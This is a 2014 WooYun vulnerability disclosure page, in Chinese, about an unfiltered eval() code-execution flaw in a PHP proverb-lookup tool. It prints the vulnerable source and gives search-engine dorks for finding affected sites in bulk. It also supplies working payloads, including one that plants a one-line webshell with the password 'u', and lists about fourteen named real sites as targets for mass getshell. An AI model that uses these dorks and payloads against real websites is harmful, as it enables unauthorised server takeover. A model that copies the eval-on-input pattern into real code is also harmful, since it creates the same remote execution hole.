当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-053190

漏洞标题:某生活查询工具代码执行#可批量Getshell(三)

相关厂商:Cncert国家互联网应急中心

漏洞作者: U神

提交时间:2014-03-10 11:05

修复时间:2014-06-08 11:06

公开时间:2014-06-08 11:06

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-10: 细节已通知厂商并且等待厂商处理中
2014-03-11: 厂商已经确认,细节仅向厂商公开
2014-03-14: 细节向第三方安全合作伙伴开放
2014-05-05: 细节向核心白帽子及相关领域专家公开
2014-05-15: 细节向普通白帽子公开
2014-05-25: 细节向实习白帽子公开
2014-06-08: 细节向公众公开

简要描述:

详细说明:

#1.第三集【谚语篇】代码执行,首先我们来看看部分源代码:

<?php
set_time_limit(0);
$prescription = trim($_GET['q']);
$id = intval($_GET['id']);
$r_num = 0; //结果个数
$lan = 1;
$pf = "";
$pf_l = "";
if($prescription!=""){
$dreamdb=file("data/yanyu.dat");//读取谚语文件
$count=count($dreamdb);//计算行数
for($i=0; $i<$count; $i++) {
$keyword=explode(" ",$prescription);//拆分关键字
$dreamcount=count($keyword);//关键字个数
for ($ai=0; $ai<$dreamcount; $ai++) {
@eval("\$found = eregi(\"$keyword[$ai]\",\"$dreamdb[$i]\");");//这里使用了eval函数没有任何过滤直接导致代码执行
if(($found)){
$detail=explode("\t",$dreamdb[$i]);
if(fmod($r_num,$lan)==0) $pf_l .= "<tr>";
$pf_l .= '<td width="'.(100/$lan).'%"> <img src="/img/jiantou.gif" />[<a href="./?q='.urlencode($detail[0]).'"class="lan">'.$detail[0].'</a>';
$pf_l .= ']<a href="?id='.($i+1).'">'.$detail[1].'</a>';
if(trim($detail[2],"\r\n")!="") $pf_l .= '</a></td>';
if(fmod($r_num,$lan)+1==$lan) $pf_l .= "</tr>";
$r_num++;
break;
}
}
}
$pf_l = '<table width="700" cellpadding="2" cellspacing="0" class="mob_ace" style="border:1px solid #A4C4DC;"><tr><td style="background:url(/img/kuang5.gif);padding:0 5px;color:#014198;" height="26" valign="middle" colspan="5"><b><a href="./">民间谚语</a>:找到 <a href="./?q='.urlencode($prescription).'"><font color="#c60a00">'.$prescription.'</font></a> 的相关谚语'.$r_num.'个</b></td></tr><tr><td><table cellpadding="5" cellspacing="10" width="100%">'.$pf_l.'</table></td></tr></table>';
}elseif($id>0){
$dreamdb=file("data/yanyu.dat");//读取谚语文件
$count=count($dreamdb);//计算行数
$detail=explode("\t",$dreamdb[$id-1]);
$pf = '<table width="700" cellpadding=2 cellspacing=0 class="mob_ace" style="border:1px solid #A4C4DC;"><tr><td style="background:url(/img/kuang5.gif);padding:0 5px;color:#014198;" height="26" valign="middle"><b><a href="./">民间谚语</a> / <a href="./?q='.urlencode($detail[0]).'">'.$detail[0].'</a></b></td><td style="background:url(/img/kuang5.gif);padding:0 5px;color:#014198;" align="right">';
if($id>1 && $id<=$count) $pf .= '<a href="?id='.($id-1).'">上一个</a> ';
$pf .= '<a href="./">查看全部</a>';
if($id>=1 && $id<$count) $pf .= ' <a href="?id='.($id+1).'">下一个</a>';
$pf .= '</td></tr><tr><td colspan="2" align="center"><br><table border="0" width="90%" style="font-size:14px;line-height:150%"><tr><td width="80">【分类】</td><td>'.$detail[0].'</td></tr><tr><td>【谚语】</td><td>'.$detail[1].'</td></tr></table><br></td></tr></table>';
}else{
$dreamdb=file("data/yanyu.dat");//读取谚语文件
$count=count($dreamdb);//计算行数
$pfl = rand(0,intval($count/30));
for($i=$pfl*30; $i<$pfl*30+30; $i++) {
if($i>=$count-1) break;
$detail=explode("\t",$dreamdb[$i]);
if(fmod($r_num,$lan)==0) $pf_l .= "<tr>";
$pf_l .= '<td width="'.(100/$lan).'%"> <img src="/img/jiantou.gif" />[<a href="./?q='.urlencode($detail[0]).'"class="lan">'.$detail[0].'</a>';
$pf_l .= ']<a href="?id='.($i+1).'">'.$detail[1].'</a>';
if(trim($detail[2],"\r\n")!="") $pf_l .= '</a></td>';
if(fmod($r_num,$lan)+1==$lan) $pf_l .= "</tr>";
$r_num++;
}
$pf_l = '<table width="700" cellpadding="2" cellspacing="0" class="mob_ace" style="border:1px solid #A4C4DC;"><tr><td style="background:url(/img/kuang5.gif);padding:0 5px;color:#014198;" height="26" valign="middle" colspan="5"><b>推荐民间谚语'.$r_num.'个</b></td></tr><tr><td><table cellpadding="5" cellspacing="10" width="100%">'.$pf_l.'</table></td></tr></table>';
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<?
if($prescription){
echo "<title>".$prescription." - 民间谚语大全 - 生活查询 - - IP地址查询|手机号码归属地查询|身份证|电话号码查询|黄历|万年历|区号|各种查询|- 查询吧</title>";
echo '<meta name="keywords" content="'.$prescription.',民间谚语,英文谚语" />';
}elseif($id>0 && $id<=$count){
echo "<title>".$detail[1]." - ".$detail[0]." - 民间谚语大全 - 娱乐工具 - - IP地址查询|手机号码归属地查询|身份证|电话号码查询|黄历|万年历|区号|各种查询|- 查询吧</title>";
echo '<meta name="keywords" content="查询吧,民间谚语,列车时刻表,手机号码归属地,邮编,黄道吉日,号码吉凶,IP地址,工具大全,实用查询网站,'.$detail[1].",".$detail[0].',解梦,周公解梦大全" />';
}else{
echo "<title>民间谚语大全 - 生活查询 - - IP地址查询|手机号码归属地查询|身份证|电话号码查询|黄历|万年历|区号|各种查询|- 查询吧</title>";
echo '<meta name="keywords" content="查询吧
,民间谚语,列车时刻表,手机号码归属地,邮编,黄道吉日,号码吉凶,IP地址,工具大全,实用查询网站,民间谚语,中医解梦,中药解梦,解梦大全" />';
echo '<meta name="description" content="谚语是人民群众口头流传的习用的固定语句,用简单通俗的话来反映深刻的道理。 谚语是民间集体创造、广为口传、言简意赅并较为定型的艺术语句,是民众丰富智慧和普遍经验的规律性总结。恰当地运用谚语可使语言活泼风趣,增强文章的表现力。谚语多半在民间口语中广泛流传,表达人们丰富的社会生活经验,闪耀着人民智慧的光芒。谚语不仅是我们中华民族的结晶,同时在外国也收到广泛应用。谚语反映的内容涉及到社会生活的各个方面。" />';
}
?>

漏洞证明:

#2.这是一个民间谚语查询的工具,Google、Baidu可以批量搜索存在该页面的网站,关键字如下:
输入最短的关键字,如瘦死的骆驼比马大,输入骆驼后按Enter即可
intitle:民间谚语 inurl:/yanyu/
intitle:民间谚语大全- 生活查询
....等等,构造更好的关键字批量的网站越多。

04.jpg


#3.代码执行证明如下:
http://tool.6789.com/yanyu/?q={${phpinfo()}} 执行了phpinfo

05.jpg


直接构造一句话地址:http://tool.6789.com/yanyu/?q={${eval%28$_POST[u]%29}} 密码:u

06.jpg


#4.我们可以穿梭在各种搜索引擎中搜索,构造各种姿势的关键字,即可批量getshell,大多网站遭殃!如下例举更多:
http://www.0798.org/tools/yanyu/?q={${phpinfo()}}
http://www.jimo777.com/bbx/yanyu/?q={${phpinfo()}}
http://wan.nian.li/yanyu/?q={${phpinfo()}}
http://tool.6789.com/yanyu/?q={${phpinfo()}}
http://www.r22.com.cn/yanyu/?q={${phpinfo()}}
http://www.xpfnw.com/tool/yanyu/?q={${phpinfo()}}
http://bbs.100xiao.com/tools/yanyu/?q={${phpinfo()}}
http://www.leizu.cc/bm/yanyu/?q={${phpinfo()}}
http://bbs.chuzhou.cn/bbx/yanyu/?q={${phpinfo()}}
http://www.366law.com/tool/yanyu/?q={${phpinfo()}}
http://city.1000city.cn/tools/yanyu/?q={${phpinfo()}}
http://www.cha180.com/yanyu/?q={${phpinfo()}}
http://www.1so0769.com/tools/yanyu/?q={${phpinfo()}}
http://tools.wzsee.com/yanyu/?q={${phpinfo()}}
等等....
PS:绝大多数的要么是单独的查询系统、要么就是地方的论坛附带谚语查询工具、要么就是网站导航等等..

修复方案:

版权声明:转载请注明来源 U神@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-03-11 10:09

厂商回复:

CNVD确认漏洞机理分析情况以及案例情况,但未能确认软件生产厂商。先行确认,待后续由第三方安全厂商协助提供防护。目前这几个工具代码同源情况较为明显,rank 值递减吧。

最新状态:

暂无